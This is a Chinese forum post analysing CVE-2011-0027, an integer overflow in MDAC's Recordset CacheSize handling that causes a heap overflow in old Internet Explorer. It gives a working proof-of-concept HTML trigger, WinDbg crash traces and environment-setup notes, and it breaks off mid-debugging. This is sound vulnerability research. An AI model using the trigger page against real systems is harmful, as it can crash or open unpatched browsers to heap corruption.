首页
论坛
课程
招聘
[原创]CVE-2011-0027 Microsoft Data Access Components整数溢出漏洞分析
2021-8-1 18:22 7091

[原创]CVE-2011-0027 Microsoft Data Access Components整数溢出漏洞分析

2021-8-1 18:22
7091

0. 前言

这篇文章对CVE-2011-0027整数溢出漏洞进行了分析,之前在没有系统看过0day安全之前也曾经分析过一个整数溢出漏洞,只不过导致溢出的运算不太一样,感兴趣的可以去看一下那篇文章。

 

在分析这个漏洞的过程中,花费精力最多的其实是环境的搭建,因为漏洞已经比较老了,遇到了各种坑。之前的漏洞分析最晚在周四也能完成,这次到周四才把环境搭建好。

 

本文首先对MDAC进行了简单的介绍,然后花费了一定篇幅说明了搭建环境过程中遇到的各种问题,之后大致按照《漏洞战争》中的流程对漏洞进行了调试分析。总体来说漏洞原理其实并不复杂,只是环境搭建花费了很多时间。

1. 先决知识

1.1 漏洞简介

在MDAC处理RecordSet时,没有正确验证其指定缓冲区大小的CacheSize属性,如果属性值过大,会导致整数溢出,造成实际分配的空间大小小于原来指定的内存空间。由于漏洞发生在堆上,最终会导致堆溢出。

1.2 MDAC是什么

MDAC全程是Microsoft Data Access Components,即微软数据库访问组件。它为应用程序访问数据库提供了一个标准的接口。

 

MDAC在应用程序层使用的编程语言接口叫做ActiveX Data Objects(ADO),使用ADO可以建立Connection对象,表示一个对数据库的会话连接,Connection对象包含一个Execute方法,应用程序通过这个方法执行想要的操作。ADO还支持Command对象,可以使用Command对象建立一个参数化的命令并执行;Recodset对象代表的就是数据库中表格形式的数据,Execute或者Command执行后返回的数据就是Recordset格式的,Recordset对象支持各种用于控制数据的选项。通常来说,Recordset对象表示的是整行数据,或者一行数据中的其中几列,而访问单独的列要使用Field对象。虽然通过RecordSet每次只能访问一行的数据,但是这并不表示每次访问的时候都需要访问一次数据库,RecordSet可以缓存多行数据,而CacheSize就表示了它可以缓存的数据大小。

 

更详细的关于ADO的信息可以查看参考资料3

1.3 进一步的知识点

在HTML中可以使用<XML>标签插入需要的数据,并提供方法访问这些数据,这一过程实际上就是在使用MDAC对数据库进行访问,这里使用的对象就是上面介绍的ADO。

 

因此可以在访问XML中的数据时使用我们上面介绍的一些对象和方法的名称,也可以在这一过程中,触发CacheSize中存在的整数溢出漏洞。

2. 漏洞分析

2.0 关于环境配置(绝望的一周)

这个东西我搞了一周,终于在周四得到了正确的异常和symbol信息……中间遇到各种问题:操作系统版本的问题、Windbg版本的问题、IE的版本问题、symbol找不到……

  • 操作系统:我先后换了四个版本的操作系统,Win7 的32位和64位,Win7 SP1的64位以及WinXP SP3。其中Win7 SP1中的IE版本偏高无法触发异常;Win7的系统在调试的时候!heap总是找不到wow64.pdb。然后我开始用WinXP进行调试……
  • IE版本:IE的版本要小于8.0.7601。
  • Windbg版本问题:如果是在Win XP上面调试,直接使用最新的Windbg是不行的,!heap显示堆信息也会出问题,具体可以查看这篇文章。所以最后在网上找了很久,找到了一个6.6.07.5的版本,这个版本可以在WinXP上面使用

但是……

 

后来发现在Winxp下调试的时候输出的调试信息会和正确的地址有误差,我也不知道是Windbg版本的问题还是符号文件有问题;与此同时,我也发现Win7 64位上面的符号文件是可以正常下载的,wow64.pdb也在正确的位置上,就是不知道为什么会报错。正当我几近绝望的时候,在stackoverflow上面搜索到了这样一条回复:

My Windbg is 6.3.9600. I think you attach to some process, not open a wow64 process dump. If I attach to a wow64 process using 32bit windbg, all the commands can works fine. But when I open a wow64 process dump, both 32bit and 64bit windbg can not work. – Leon Nov 17 '14 at 5:08

 

感谢Leon,我突然意识到了我的问题,我选择的Windbg的位数可能是错的。因为用的是64位的虚拟机,所以我自然而然的选择了64位的Windbg。最终我安装了32位的Windbg,成功得到了正确的调试信息。

 

Windbg 位数选择

  • 如果你的调试主机运行的是32位版本的windows,使用32位的调试工具(不管此时被调试的目标机是 x86-based 还是 x64-based)
  • 如果你的调试主机使用x64-based的处理器,并且运行64位的windows,请参考如下规则:
    • 如果你在分析dump文件,你可以使用32位或者64位的调试工具集。(不管dump文件是用户态的还是内核态的,也不管这个dump文件是在 x86-based 还是 x64-based的平台上抓的。)
    • 如果你在进行实时内核调试,你可以使用32位或者64位的调试工具集(不管此时被调试的目标机是 x86-based 还是 x64-based)
    • 如果你在进行实时用户态调试,并且调试器也在同一台机器上,对于64位的代码和32位的 WOW64代码都需要使用64位的调试工具集。使用 .effmach.aspx)命令设置调试器的模式。
    • 如果你在实时调试32位的用户态代码,但是这些代码运行在一个单独的目标机器上,使用32位的调试工具集。

2.1 调试代码

以下是调试代码,保存成poc.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html xmlns:t = "urn:schemas-microsoft-com:time">
<script language='javascript'>
function Start() {
    localxmlid1 = document.getElementById('xmlid1').recordset;
    localxmlid1.CacheSize = 0x40000358;
    for (var i = 0; i < 0x100000; i++) {
        localxmlid1.AddNew(["AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"], ["c"]);
        localxmlid1.MoveFirst();
    }
}
</script>
<body onLoad="window.setTimeout(Start, 100);" id="bodyid">
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<XML ID="xmlid1">
<Devices>
<Device>
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA />
</Device>
</Devices>
</XML>
</body>
</html>

2.2确定函数的对应关系

之前只在分析MS06-055这个漏洞的时候有过调试IE的经历,在已经确认漏洞所在文件名时,可以直接根据漏洞相关信息在Function name中进行搜索,确定相关函数地址,然后在该地址处下断点进行调试。

 

在《漏洞战争》中,还讲到了另外一种调试的方法,在谷歌中搜索:【关键词】 site:https://www.geoffchappell.com

 

我在测试的时候一开始只搜到两个结果,最关键的那个没有搜索到,后来换了一个代理地址,就成功了,(lll¬ω¬)

 

这样搜索的目的是为了找到在IE中存在的和recordset有关的类方法,因为需要在对应的方法处设置断点进行调试。

 

根据搜索结果,得到了三个和recordset有关的类:

1
2
3
4
5
6
7
CEventObj::get_recordset
CEventObj::putref_recordset
 
CGenericElement::get_recordset
 
CObjectElement::get_recordset
CObjectElement::putref_recordset

其中CEventObj是为html中event对象提供的接口,可以忽略不记,代码中是一个获取recordset的行为,所以最终要在CGenericElement::get_recordsetCObjectElement::get_recordset上下断点。

 

poc.html打开之后,设置好断点,继续执行,程序断在了CGenericElement::get_recordset这个函数上,说明代码中localxmlid1 = document.getElementById('xmlid1').recordset;这个语句对应的是CGenericElement::get_recordset函数。

2.3 开始调试

先确定一下漏洞发生的位置,还是使用之前漏洞分析时介绍的方法,为iexplor.exe设置页堆:

1
2
3
C:\Documents and Settings\test>"C:\Documents and Settings\test\Desktop\Global Flags.lnk" -i iexplore.exe +hpa
Current Registry Settings for iexplore.exe executable are: 02000000
    hpa - Enable page heap

打开poc.html,根据IE的默认安全设置,此时JS脚本是不会执行的,需要额外的步骤进行确认。这时使用windbg附加到iexplore.exe上,继续执行,再在IE上面"允许阻止的内容",此时就会发生异常:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
(a14.a2c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000036b ebx=0000035b ecx=00000000 edx=00000001 esi=0eace000 edi=00000000
eip=720f746f esp=0848e744 ebp=0848e748 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
mshtml!CImpIRowset::HRowNumber2HROWQuiet+0x23:
720f746f 8906            mov     dword ptr [esi],eax  ds:002b:0eace000=????????
0:005> !heap -p -a 0eace000
    address 0eace000 found in
    _DPH_HEAP_ROOT @ ea21000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 ea22750:          eacd298              d64 -          eacd000             2000
    74be8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    779c02fe ntdll!RtlDebugAllocateHeap+0x00000030
    7797ac4b ntdll!RtlpAllocateHeap+0x000000c4
    77923b4e ntdll!RtlAllocateHeap+0x0000023a
    7171975d MSDART!MpHeapAlloc+0x00000029
    715e06e7 msado15!CRecordGroup::AllocateHRowRange+0x00000085
    715e0650 msado15!CRecordset::PrepareForFetch+0x000000e2
    716744ae msado15!CRecordset::MoveAbsolute+0x000003e3
    716080a5 msado15!CRecordset::_MoveFirst+0x0000007d
    71677957 msado15!CRecordset::MoveFirst+0x00000221
    715efde6 msado15!CRecordset::Invoke+0x00001560
    7182db38 jscript!IDispatchInvoke2+0x000000f0
    7182da8c jscript!IDispatchInvoke+0x0000006a
    7182d9ff jscript!InvokeDispatch+0x000000a9
    7182db8a jscript!VAR::InvokeByName+0x00000093
    7182d8c8 jscript!VAR::InvokeDispName+0x0000007d
    7182d96f jscript!VAR::InvokeByDispID+0x000000ce
    7182e3e7 jscript!CScriptRuntime::Run+0x00002b80
    71825c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
    71825bfb jscript!ScrFncObj::Call+0x0000008d
    71825e11 jscript!CSession::Execute+0x0000015f
    7181f3ee jscript!NameTbl::InvokeDef+0x000001b5
    7181ea2e jscript!NameTbl::InvokeEx+0x0000012c
    718196de jscript!NameTbl::Invoke+0x00000070
    71e2aa7b mshtml!CWindow::ExecuteTimeoutScript+0x00000087
    71e2ab66 mshtml!CWindow::FireTimeOut+0x000000b6
    71e56af7 mshtml!OnTimer+0x0000003d
    71e51e57 mshtml!GlobalWndProc+0x00000183
    75c06238 USER32!InternalCallWinProc+0x00000023
    75c068ea USER32!UserCallWinProcCheckWow+0x00000109
    75c07d31 USER32!DispatchMessageWorker+0x000003bc
    75c07dfa USER32!DispatchMessageW+0x0000000f

书中使用!heap -p -a指令显示出了具体的栈回溯信息,之前进行其他漏洞分析的时候没发现这条指令这么好用,b( ̄▽ ̄)d。

 

从输出信息中可以看出堆块起始地址是0xeacd298,大小为0xd64,所以在写到0xeace000的时候就超过这个堆块的范围了。

 

我这里的windbg输出好像是有一些问题,函数名后面的偏移量是错误的,可能我下载的symbol还是有些问题,所以我这里的分析步骤也有一些调整。

 

从栈回溯中可以看到异常发生在调用CRecordset::MoveFirst之后,而CRecordset::MoveFirst又调用了CRecordGroup::AllocateHRowRange,从函数名看这应该是一个分配空间的函数,所以我打算在这里下一个断点,查看一下这个函数的参数情况。

 

但是在我在CRecordset::PrepareForFetch+0x000000e2下断点的时候,程序并没有断在正确的位置,而是断在了

1
2
3
4
5
6
Breakpoint 1 hit
eax=00000001 ebx=00000001 ecx=0d8afd70 edx=00000000 esi=0d8afd70 edi=73a09730
eip=724106d1 esp=0833ed90 ebp=0833ed9c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
msado15!CRecordGroup::AllocateHRowRange+0x6f:
724106d1 8b0d10f04c72    mov     ecx,dword ptr [msado15!g_hHeapHandle (724cf010)